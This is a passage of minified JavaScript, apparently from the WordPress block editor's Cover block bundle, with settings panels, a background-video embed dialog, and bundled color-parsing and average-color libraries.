$=R?.filter(({slug:J})=>P?.media_details?.sizes?.[J]?.source_url)?.map(({name:J,slug:oe})=>({value:oe,label:J})),V=()=>{t({hasParallax:!d,...d?{}:{focalPoint:void 0}})},G=()=>{t({isRepeated:!f})},K=x||k,X=J=>{let[oe,ie]=S.current?[S.current.style,"objectPosition"]:[n.current.style,"backgroundPosition"];oe[ie]=$o(J)},ee=(0,qo.__experimentalUseMultipleOriginColorsAndGradients)(),ne=W();return(0,ft.jsxs)(ft.Fragment,{children:[(0,ft.jsx)(qo.InspectorControls,{children:(!!C||c)&&(0,ft.jsxs)(Ut.__experimentalToolsPanel,{label:(0,so.__)("Settings"),resetAll:()=>{t({hasParallax:!1,focalPoint:void 0,isRepeated:!1,alt:"",poster:void 0}),H(Gf)},dropdownMenuProps:ne,children:[k&&(0,ft.jsxs)(ft.Fragment,{children:[(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{label:(0,so.__)("Fixed background"),isShownByDefault:!0,hasValue:()=>!!d,onDeselect:()=>t({hasParallax:!1,focalPoint:void 0}),children:(0,ft.jsx)(Ut.ToggleControl,{label:(0,so.__)("Fixed background"),checked:!!d,onChange:V})}),(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{label:(0,so.__)("Repeated background"),isShownByDefault:!0,hasValue:()=>f,onDeselect:()=>t({isRepeated:!1}),children:(0,ft.jsx)(Ut.ToggleControl,{label:(0,so.__)("Repeated background"),checked:f,onChange:G})})]}),K&&(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{label:(0,so.__)("Focal point"),isShownByDefault:!0,hasValue:()=>!!p,onDeselect:()=>t({focalPoint:void 0}),children:(0,ft.jsx)(Ut.FocalPointPicker,{label:(0,so.__)("Focal point"),url:C,value:p,onDragStart:X,onDrag:X,onChange:J=>t({focalPoint:J})})}),x&&(0,ft.jsx)(Zk,{poster:_,onChange:J=>t({poster:J?.url})}),!c&&C&&!x&&(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{label:(0,so.__)("Alternative text"),isShownByDefault:!0,hasValue:()=>!!b,onDeselect:()=>t({alt:""}),children:(0,ft.jsx)(Ut.TextareaControl,{label:(0,so.__)("Alternative text"),value:b,onChange:J=>t({alt:J}),help:(0,ft.jsxs)(ft.Fragment,{children:[(0,ft.jsx)(Ut.ExternalLink,{href:(0,so.__)("https://www.w3.org/WAI/tutorials/images/decision-tree/"),children:(0,so.__)("Describe the purpose of the image.")}),(0,ft.jsx)("br",{}),(0,so.__)("Leave empty if decorative.")]})})}),!!$?.length&&(0,ft.jsx)($0e,{value:B,onChange:H,options:$,defaultValue:Gf})]})}),ee.hasColorsOrGradients&&(0,ft.jsxs)(qo.InspectorControls,{group:"color",children:[(0,ft.jsx)(qo.__experimentalColorGradientSettingsDropdown,{__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:E.color,gradientValue:D,label:(0,so.__)("Overlay"),onColorChange:a,onGradientChange:M,isShownByDefault:!0,resetAllFilter:()=>({overlayColor:void 0,customOverlayColor:void 0,gradient:void 0,customGradient:void 0}),clearable:!0}],panelId:r,...ee}),(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{hasValue:()=>m===void 0?!1:m!==(C?50:100),label:(0,so.__)("Overlay opacity"),onDeselect:()=>l(C?50:100),resetAllFilter:()=>({dimRatio:C?50:100}),isShownByDefault:!0,panelId:r,children:(0,ft.jsx)(Ut.RangeControl,{label:(0,so.__)("Overlay opacity"),value:m,onChange:J=>l(J),min:0,max:100,step:10,required:!0,__next40pxDefaultSize:!0})})]}),(0,ft.jsx)(qo.InspectorControls,{group:"dimensions",children:(0,ft.jsx)(Ut.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>!!h,label:(0,so.__)("Minimum height"),onDeselect:()=>t({minHeight:void 0,minHeightUnit:void 0}),resetAllFilter:()=>({minHeight:void 0,minHeightUnit:void 0}),isShownByDefault:!0,panelId:r,children:(0,ft.jsx)(Z0e,{value:e?.style?.dimensions?.aspectRatio?"":h,unit:g,onChange:J=>t({minHeight:J,style:W0e({...e?.style,dimensions:{...e?.style?.dimensions,aspectRatio:void 0}})}),onUnitChange:J=>t({minHeightUnit:J})})})}),(0,ft.jsx)(qo.InspectorControls,{group:"advanced",children:(0,ft.jsx)(q0e,{tagName:y,onChange:J=>t({tagName:J}),clientId:r,options:[{label:(0,so.__)("Default (<div>)"),value:"div"},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"}]})})]})}var Kk=o(j(),1),Al=o(T(),1),W1=o(I(),1),bU=o(A(),1);var eE=o(j(),1),em=o(A(),1),Fp=o(I(),1);var dU=o(U(),1);var K0e="core/embed",Q0e=["youtube","vimeo","videopress","animoto","tiktok","wordpress-tv"];function fU(e){return e?Y0e(e)!==null:!1}function Y0e(e){let t=(0,dU.getBlockVariations)(K0e);if(!t)return null;let r=t.find(({patterns:a})=>XB(e,a));return!r||!Q0e.includes(r.name)?null:r}function hU(e){if(!e)return null;let t=e.match(/src=["']([^"']+)["']/);return t?t[1]:null}function X0e(e){if(!e)return null;let t=e.toLowerCase();return t.includes("youtube.com")||t.includes("youtu.be")?"youtube":t.includes("vimeo.com")?"vimeo":t.includes("videopress.com")?"videopress":t.includes("animoto.com")?"animoto":t.includes("tiktok.com")?"tiktok":t.includes("wordpress.tv")?"wordpress-tv":null}function gU(e){if(!e)return e;try{let t=new URL(e);switch(X0e(e)){case"youtube":t.searchParams.set("autoplay","1"),t.searchParams.set("mute","1"),t.searchParams.set("loop","1"),t.searchParams.set("controls","0"),t.searchParams.set("showinfo","0"),t.searchParams.set("modestbranding","1"),t.searchParams.set("playsinline","1"),t.searchParams.set("rel","0");let a=t.pathname.split("/").pop();a&&t.searchParams.set("playlist",a);break;case"vimeo":t.searchParams.set("autoplay","1"),t.searchParams.set("muted","1"),t.searchParams.set("loop","1"),t.searchParams.set("background","1"),t.searchParams.set("controls","0");break;case"videopress":case"wordpress-tv":t.searchParams.set("autoplay","1"),t.searchParams.set("loop","1"),t.searchParams.set("muted","1");break;default:t.searchParams.set("autoplay","1"),t.searchParams.set("muted","1"),t.searchParams.set("loop","1");break}return t.toString()}catch{return e}}var $f=o(v(),1);function vU({onSubmit:e,onClose:t,initialUrl:r=""}){let[a,n]=(0,eE.useState)(r),[i,l]=(0,eE.useState)("");return(0,$f.jsx)(em.__experimentalConfirmDialog,{isOpen:!0,onConfirm:()=>{if(!a){l((0,Fp.__)("Please enter a URL."));return}if(!fU(a)){l((0,Fp.__)("This URL is not supported. Please enter a valid video link from a supported provider."));return}e(a),t()},onCancel:t,confirmButtonText:(0,Fp.__)("Add video"),size:"medium",children:(0,$f.jsxs)(em.__experimentalVStack,{spacing:4,children:[i&&(0,$f.jsx)(em.Notice,{status:"error",isDismissible:!1,children:i}),(0,$f.jsx)(em.TextControl,{type:"url",__next40pxDefaultSize:!0,label:(0,Fp.__)("Video URL"),value:a,onChange:c=>{n(c),l("")},placeholder:(0,Fp.__)("Enter YouTube, Vimeo, or other video URL"),help:(0,Fp.__)("Add a background video to the cover block that will autoplay in a loop.")})]})})}var Ki=o(v(),1),{cleanEmptyObject:J0e}=Z(Al.privateApis);function yU({attributes:e,setAttributes:t,onSelectMedia:r,currentSettings:a,toggleUseFeaturedImage:n,onClearMedia:i,onSelectEmbedUrl:l,blockEditingMode:s}){let{contentPosition:c,id:u,useFeaturedImage:m,minHeight:p,minHeightUnit:d,backgroundType:f}=e,{hasInnerBlocks:h,url:g}=a,[b,y]=(0,Kk.useState)(p),[_,x]=(0,Kk.useState)(d),[k,S]=(0,Kk.useState)(!1),C=d==="vh"&&p===100&&!e?.style?.dimensions?.aspectRatio,E=s==="contentOnly",B=()=>C?t(_==="vh"&&b===100?{minHeight:void 0,minHeightUnit:void 0}:{minHeight:b,minHeightUnit:_}):(y(p),x(d),t({minHeight:100,minHeightUnit:"vh",style:J0e({...e?.style,dimensions:{...e?.style?.dimensions,aspectRatio:void 0}})}));return(0,Ki.jsxs)(Ki.Fragment,{children:[!E&&(0,Ki.jsxs)(Al.BlockControls,{group:"block",children:[(0,Ki.jsx)(Al.__experimentalBlockAlignmentMatrixControl,{label:(0,W1.__)("Change content position"),value:c,onChange:D=>t({contentPosition:D}),isDisabled:!h}),(0,Ki.jsx)(Al.__experimentalBlockFullHeightAligmentControl,{isActive:C,onToggle:B,isDisabled:!h})]}),(0,Ki.jsx)(Al.BlockControls,{group:"other",children:(0,Ki.jsx)(Al.MediaReplaceFlow,{mediaId:u,mediaURL:g,allowedTypes:jk,onSelect:r,onToggleFeaturedImage:n,useFeaturedImage:m,name:g?(0,W1.__)("Replace"):(0,W1.__)("Add media"),onReset:i,variant:"toolbar",children:({onClose:D})=>(0,Ki.jsx)(bU.MenuItem,{icon:Yn,onClick:()=>{S(!0),D()},children:(0,W1.__)("Embed video from URL")})})}),k&&(0,Ki.jsx)(vU,{onSubmit:D=>{l(D)},onClose:()=>S(!1),initialUrl:f===Rc?g:""})]})}var Qk=o(T(),1),xU=o(I(),1);var _U=o(Tr(),1);var tE=o(v(),1);function rE({disableMediaButtons:e=!1,children:t,onSelectMedia:r,onError:a,style:n,toggleUseFeaturedImage:i}){let l=s=>{s.length===1&&r({url:(0,_U.createBlobURL)(s[0])})};return(0,tE.jsx)(Qk.MediaPlaceholder,{icon:(0,tE.jsx)(Qk.BlockIcon,{icon:mp}),labels:{title:(0,xU.__)("Cover")},onSelect:r,allowedTypes:jk,disableMediaButtons:e,onToggleFeaturedImage:i,onFilesPreUpload:l,onError:a,style:n,children:t})}var kU=o(j(),1),wU=o(T(),1);var CU=o(v(),1),e1e={top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},{ResizableBoxPopover:t1e}=Z(wU.privateApis);function oE({className:e,height:t,minHeight:r,onResize:a,onResizeStart:n,onResizeStop:i,showHandle:l,size:s,width:c,...u}){let[m,p]=(0,kU.useState)(!1),d={className:w(e,{"is-resizing":m}),enable:e1e,onResizeStart:(f,h,g)=>{n(g.clientHeight),a(g.clientHeight)},onResize:(f,h,g)=>{a(g.clientHeight),m||p(!0)},onResizeStop:(f,h,g)=>{i(g.clientHeight),p(!1)},showHandle:l,size:s,__experimentalShowTooltip:!0,__experimentalTooltipProps:{axis:"y",position:"bottom",isVisible:m}};return(0,CU.jsx)(t1e,{className:"block-library-cover__resizable-box-popover",resizableBoxProps:d,...u})}var r1e={grad:.9,turn:360,rad:360/(2*Math.PI)},zc=function(e){return typeof e=="string"?e.length>0:typeof e=="number"},xo=function(e,t,r){return t===void 0&&(t=0),r===void 0&&(r=Math.pow(10,t)),Math.round(r*e)/r+0},Qi=function(e,t,r){return t===void 0&&(t=0),r===void 0&&(r=1),e>r?r:e>t?e:t},DU=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},SU=function(e){return{r:Qi(e.r,0,255),g:Qi(e.g,0,255),b:Qi(e.b,0,255),a:Qi(e.a)}},aE=function(e){return{r:xo(e.r),g:xo(e.g),b:xo(e.b),a:xo(e.a,3)}},o1e=/^#([0-9a-f]{3,8})$/i,Yk=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},LU=function(e){var t=e.r,r=e.g,a=e.b,n=e.a,i=Math.max(t,r,a),l=i-Math.min(t,r,a),s=l?i===t?(r-a)/l:i===r?2+(a-t)/l:4+(t-r)/l:0;return{h:60*(s<0?s+6:s),s:i?l/i*100:0,v:i/255*100,a:n}},MU=function(e){var t=e.h,r=e.s,a=e.v,n=e.a;t=t/360*6,r/=100,a/=100;var i=Math.floor(t),l=a*(1-r),s=a*(1-(t-i)*r),c=a*(1-(1-t+i)*r),u=i%6;return{r:255*[a,s,l,l,c,a][u],g:255*[c,a,a,s,l,l][u],b:255*[l,l,c,a,a,s][u],a:n}},TU=function(e){return{h:DU(e.h),s:Qi(e.s,0,100),l:Qi(e.l,0,100),a:Qi(e.a)}},PU=function(e){return{h:xo(e.h),s:xo(e.s),l:xo(e.l),a:xo(e.a,3)}},BU=function(e){return MU((r=(t=e).s,{h:t.h,s:(r*=((a=t.l)<50?a:100-a)/100)>0?2*r/(a+r)*100:0,v:a+r,a:t.a}));var t,r,a},$1=function(e){return{h:(t=LU(e)).h,s:(n=(200-(r=t.s))*(a=t.v)/100)>0&&n<200?r*a/100/(n<=100?n:200-n)*100:0,l:n/2,a:t.a};var t,r,a,n},a1e=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,n1e=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,i1e=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,l1e=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,lE={string:[[function(e){var t=o1e.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:e.length===4?xo(parseInt(e[3]+e[3],16)/255,2):1}:e.length===6||e.length===8?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:e.length===8?xo(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=i1e.exec(e)||l1e.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:SU({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:t[7]===void 0?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=a1e.exec(e)||n1e.exec(e);if(!t)return null;var r,a,n=TU({h:(r=t[1],a=t[2],a===void 0&&(a="deg"),Number(r)*(r1e[a]||1)),s:Number(t[3]),l:Number(t[4]),a:t[5]===void 0?1:Number(t[5])/(t[6]?100:1)});return BU(n)},"hsl"]],object:[[function(e){var t=e.r,r=e.g,a=e.b,n=e.a,i=n===void 0?1:n;return zc(t)&&zc(r)&&zc(a)?SU({r:Number(t),g:Number(r),b:Number(a),a:Number(i)}):null},"rgb"],[function(e){var t=e.h,r=e.s,a=e.l,n=e.a,i=n===void 0?1:n;if(!zc(t)||!zc(r)||!zc(a))return null;var l=TU({h:Number(t),s:Number(r),l:Number(a),a:Number(i)});return BU(l)},"hsl"],[function(e){var t=e.h,r=e.s,a=e.v,n=e.a,i=n===void 0?1:n;if(!zc(t)||!zc(r)||!zc(a))return null;var l=(function(s){return{h:DU(s.h),s:Qi(s.s,0,100),v:Qi(s.v,0,100),a:Qi(s.a)}})({h:Number(t),s:Number(r),v:Number(a),a:Number(i)});return MU(l)},"hsv"]]},IU=function(e,t){for(var r=0;r<t.length;r++){var a=t[r][0](e);if(a)return[a,t[r][1]]}return[null,void 0]},s1e=function(e){return typeof e=="string"?IU(e.trim(),lE.string):typeof e=="object"&&e!==null?IU(e,lE.object):[null,void 0]};var nE=function(e,t){var r=$1(e);return{h:r.h,s:Qi(r.s+100*t,0,100),l:r.l,a:r.a}},iE=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},EU=function(e,t){var r=$1(e);return{h:r.h,s:r.s,l:Qi(r.l+100*t,0,100),a:r.a}},sE=(function(){function e(t){this.parsed=s1e(t)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return this.parsed!==null},e.prototype.brightness=function(){return xo(iE(this.rgba),2)},e.prototype.isDark=function(){return iE(this.rgba)<.5},e.prototype.isLight=function(){return iE(this.rgba)>=.5},e.prototype.toHex=function(){return t=aE(this.rgba),r=t.r,a=t.g,n=t.b,l=(i=t.a)<1?Yk(xo(255*i)):"","#"+Yk(r)+Yk(a)+Yk(n)+l;var t,r,a,n,i,l},e.prototype.toRgb=function(){return aE(this.rgba)},e.prototype.toRgbString=function(){return t=aE(this.rgba),r=t.r,a=t.g,n=t.b,(i=t.a)<1?"rgba("+r+", "+a+", "+n+", "+i+")":"rgb("+r+", "+a+", "+n+")";var t,r,a,n,i},e.prototype.toHsl=function(){return PU($1(this.rgba))},e.prototype.toHslString=function(){return t=PU($1(this.rgba)),r=t.h,a=t.s,n=t.l,(i=t.a)<1?"hsla("+r+", "+a+"%, "+n+"%, "+i+")":"hsl("+r+", "+a+"%, "+n+"%)";var t,r,a,n,i},e.prototype.toHsv=function(){return t=LU(this.rgba),{h:xo(t.h),s:xo(t.s),v:xo(t.v),a:xo(t.a,3)};var t},e.prototype.invert=function(){return co({r:255-(t=this.rgba).r,g:255-t.g,b:255-t.b,a:t.a});var t},e.prototype.saturate=function(t){return t===void 0&&(t=.1),co(nE(this.rgba,t))},e.prototype.desaturate=function(t){return t===void 0&&(t=.1),co(nE(this.rgba,-t))},e.prototype.grayscale=function(){return co(nE(this.rgba,-1))},e.prototype.lighten=function(t){return t===void 0&&(t=.1),co(EU(this.rgba,t))},e.prototype.darken=function(t){return t===void 0&&(t=.1),co(EU(this.rgba,-t))},e.prototype.rotate=function(t){return t===void 0&&(t=15),this.hue(this.hue()+t)},e.prototype.alpha=function(t){return typeof t=="number"?co({r:(r=this.rgba).r,g:r.g,b:r.b,a:t}):xo(this.rgba.a,3);var r},e.prototype.hue=function(t){var r=$1(this.rgba);return typeof t=="number"?co({h:t,s:r.s,l:r.l,a:r.a}):xo(r.h)},e.prototype.isEqual=function(t){return this.toHex()===co(t).toHex()},e})(),co=function(e){return e instanceof sE?e:new sE(e)},NU=[],AU=function(e){e.forEach(function(t){NU.indexOf(t)<0&&(t(sE,lE),NU.push(t))})};function RU(e,t){var r={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},a={};for(var n in r)a[r[n]]=n;var i={};e.prototype.toName=function(l){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var s,c,u=a[this.toHex()];if(u)return u;if(l?.closest){var m=this.toRgb(),p=1/0,d="black";if(!i.length)for(var f in r)i[f]=new e(r[f]).toRgb();for(var h in r){var g=(s=m,c=i[h],Math.pow(s.r-c.r,2)+Math.pow(s.g-c.g,2)+Math.pow(s.b-c.b,2));g<p&&(p=g,d=h)}return d}},t.string.push([function(l){var s=l.toLowerCase(),c=s==="transparent"?"#0000":r[s];return c?new e(c).toRgb():null},"name"])}function c1e(e){var t=e.toString(16);return t.length===1?"0"+t:t}function zU(e){return"#"+e.map(c1e).join("")}function u1e(e){var t=(e[0]*299+e[1]*587+e[2]*114)/1e3;return t<128}function m1e(e){return e?p1e(e)?e:[e]:[]}function p1e(e){return Array.isArray(e[0])}function uE(e,t,r){for(var a=0;a<r.length;a++)if(d1e(e,t,r[a]))return!0;return!1}function d1e(e,t,r){switch(r.length){case 3:if(f1e(e,t,r))return!0;break;case 4:if(h1e(e,t,r))return!0;break;case 5:if(g1e(e,t,r))return!0;break;default:return!1}}function f1e(e,t,r){return e[t+3]!==255||e[t]===r[0]&&e[t+1]===r[1]&&e[t+2]===r[2]}function h1e(e,t,r){return e[t+3]&&r[3]?e[t]===r[0]&&e[t+1]===r[1]&&e[t+2]===r[2]&&e[t+3]===r[3]:e[t+3]===r[3]}function Xk(e,t,r){return e>=t-r&&e<=t+r}function g1e(e,t,r){var a=r[0],n=r[1],i=r[2],l=r[3],s=r[4],c=e[t+3],u=Xk(c,l,s);return l?!!(!c&&u||Xk(e[t],a,s)&&Xk(e[t+1],n,s)&&Xk(e[t+2],i,s)&&u):u}function v1e(e,t,r){for(var a={},n=24,i=r.ignoredColor,l=r.step,s=[0,0,0,0,0],c=0;c<t;c+=l){var u=e[c],m=e[c+1],p=e[c+2],d=e[c+3];if(!(i&&uE(e,c,i))){var f=Math.round(u/n)+","+Math.round(m/n)+","+Math.round(p/n);a[f]?a[f]=[a[f][0]+u*d,a[f][1]+m*d,a[f][2]+p*d,a[f][3]+d,a[f][4]+1]:a[f]=[u*d,m*d,p*d,d,1],s[4]<a[f][4]&&(s=a[f])}}var h=s[0],g=s[1],b=s[2],y=s[3],_=s[4];return y?[Math.round(h/y),Math.round(g/y),Math.round(b/y),Math.round(y/_)]:r.defaultColor}function b1e(e,t,r){for(var a=0,n=0,i=0,l=0,s=0,c=r.ignoredColor,u=r.step,m=0;m<t;m+=u){var p=e[m+3],d=e[m]*p,f=e[m+1]*p,h=e[m+2]*p;c&&uE(e,m,c)||(a+=d,n+=f,i+=h,l+=p,s++)}return l?[Math.round(a/l),Math.round(n/l),Math.round(i/l),Math.round(l/s)]:r.defaultColor}function y1e(e,t,r){for(var a=0,n=0,i=0,l=0,s=0,c=r.ignoredColor,u=r.step,m=0;m<t;m+=u){var p=e[m],d=e[m+1],f=e[m+2],h=e[m+3];c&&uE(e,m,c)||(a+=p*p*h,n+=d*d*h,i+=f*f*h,l+=h,s++)}return l?[Math.round(Math.sqrt(a/l)),Math.round(Math.sqrt(n/l)),Math.round(Math.sqrt(i/l)),Math.round(l/s)]:r.defaultColor}function VU(e){return Z1(e,"defaultColor",[0,0,0,0])}function Z1(e,t,r){return e[t]===void 0?r:e[t]}var FU=10,cE=100;function x1e(e){return e.search(/\.svg(\?|$)/i)!==-1}function _1e(e){if(HU(e)){var t=e.naturalWidth,r=e.naturalHeight;return!e.naturalWidth&&x1e(e.src)&&(t=r=cE),{width:t,height:r}}return w1e(e)?{width:e.videoWidth,height:e.videoHeight}:{width:e.width,height:e.height}}function OU(e){return C1e(e)?"canvas":k1e(e)?"offscreencanvas":S1e(e)?"imagebitmap":e.src}function HU(e){return typeof HTMLImageElement<"u"&&e instanceof HTMLImageElement}function k1e(e){return typeof OffscreenCanvas<"u"&&e instanceof OffscreenCanvas}function w1e(e){return typeof HTMLVideoElement<"u"&&e instanceof HTMLVideoElement}function C1e(e){return typeof HTMLCanvasElement<"u"&&e instanceof HTMLCanvasElement}function S1e(e){return typeof ImageBitmap<"u"&&e instanceof ImageBitmap}function T1e(e,t){var r=Z1(t,"left",0),a=Z1(t,"top",0),n=Z1(t,"width",e.width),i=Z1(t,"height",e.height),l=n,s=i;if(t.mode==="precision")return{srcLeft:r,srcTop:a,srcWidth:n,srcHeight:i,destWidth:l,destHeight:s};var c;return n>i?(c=n/i,l=cE,s=Math.round(l/c)):(c=i/n,s=cE,l=Math.round(s/c)),(l>n||s>i||l<FU||s<FU)&&(l=n,s=i),{srcLeft:r,srcTop:a,srcWidth:n,srcHeight:i,destWidth:l,destHeight:s}}var P1e=typeof window>"u";function B1e(){return P1e?new OffscreenCanvas(1,1):document.createElement("canvas")}var jU="FastAverageColor: ";function Jk(e,t,r){t||(console.error(jU+e),r&&console.error(r))}function q1(e){return Error(jU+e)}var UU=(function(){function e(){this.canvas=null,this.ctx=null}return e.prototype.getColorAsync=function(t,r){if(!t)return Promise.reject(q1("call .getColorAsync() without resource."));if(typeof t=="string"){if(typeof Image>"u")return Promise.reject(q1("resource as string is not supported in this environment"));var a=new Image;return a.crossOrigin=r&&r.crossOrigin||"",a.src=t,this.bindImageEvents(a,r)}else{if(HU(t)&&!t.complete)return this.bindImageEvents(t,r);var n=this.getColor(t,r);return n.error?Promise.reject(n.error):Promise.resolve(n)}},e.prototype.getColor=function(t,r){r=r||{};var a=VU(r);if(!t)return Jk("call .getColor(null) without resource",r.silent),this.prepareResult(a);var n=_1e(t),i=T1e(n,r);if(!i.srcWidth||!i.srcHeight||!i.destWidth||!i.destHeight)return Jk('incorrect sizes for resource "'.concat(OU(t),'"'),r.silent),this.prepareResult(a);if(this.canvas||(this.canvas=B1e()),!this.ctx&&(this.ctx=this.canvas.getContext&&this.canvas.getContext("2d"),!this.ctx))return Jk("Canvas Context 2D is not supported in this browser",r.silent),this.prepareResult(a);this.canvas.width=i.destWidth,this.canvas.height=i.destHeight;var l=a;try{this.ctx.clearRect(0,0,i.destWidth,i.destHeight),this.ctx.drawImage(t,i.srcLeft,i.srcTop,i.srcWidth,i.srcHeight,0,0,i.destWidth,i.destHeight);var s=this.ctx.getImageData(0,0,i.destWidth,i.destHeight).data;l=this.getColorFromArray4(s,r)}catch(c){Jk("security error (CORS) for resource ".concat(OU(t),`.
Details: https://developer.mozilla.org/en/docs/Web/HTML/CORS_enabled_image`),r.silent,c)}return this.prepareResult(l)},e.prototype.getColorFromArray4=function(t,r){r=r||{};var a=4,n=t.length,i=VU(r);if(n<a)return i;var l=n-n%a,s=(r.step||1)*a,c;switch(r.algorithm||"sqrt"){case"simple":c=b1e;break;case"sqrt":c=y1e;break;case"dominant":c=v1e;break;default:throw q1("".concat(r.algorithm," is unknown algorithm"))}return c(t,l,{defaultColor:i,ignoredColor:m1e(r.ignoredColor),step:s})},e.prototype.prepareResult=function(t){var r=t.slice(0,3),a=[t[0],t[1],t[2],t[3]/255],n=u1e(t);return{value:[t[0],t[1],t[2],t[3]],rgb:"rgb("+r.join(",")+")",rgba:"rgba("+a.join(",")+")",hex:zU(r),hexa:zU(t),isDark:n,isLight:!n}},e.prototype.destroy=function(){this.canvas&&(this.canvas.width=1,this.canvas.height=1,this.canvas=null),this.ctx=null},e.prototype.bindImageEvents=function(t,r){var a=this;return new Promise(function(n,i){var l=function(){u();var m=a.getColor(t,r);m.error?i(m.error):n(m)},s=function(){u(),i(q1('Error loading image "'.concat(t.src,'".')))},c=function(){u(),i(q1('Image "'.concat(t.src,'" loading 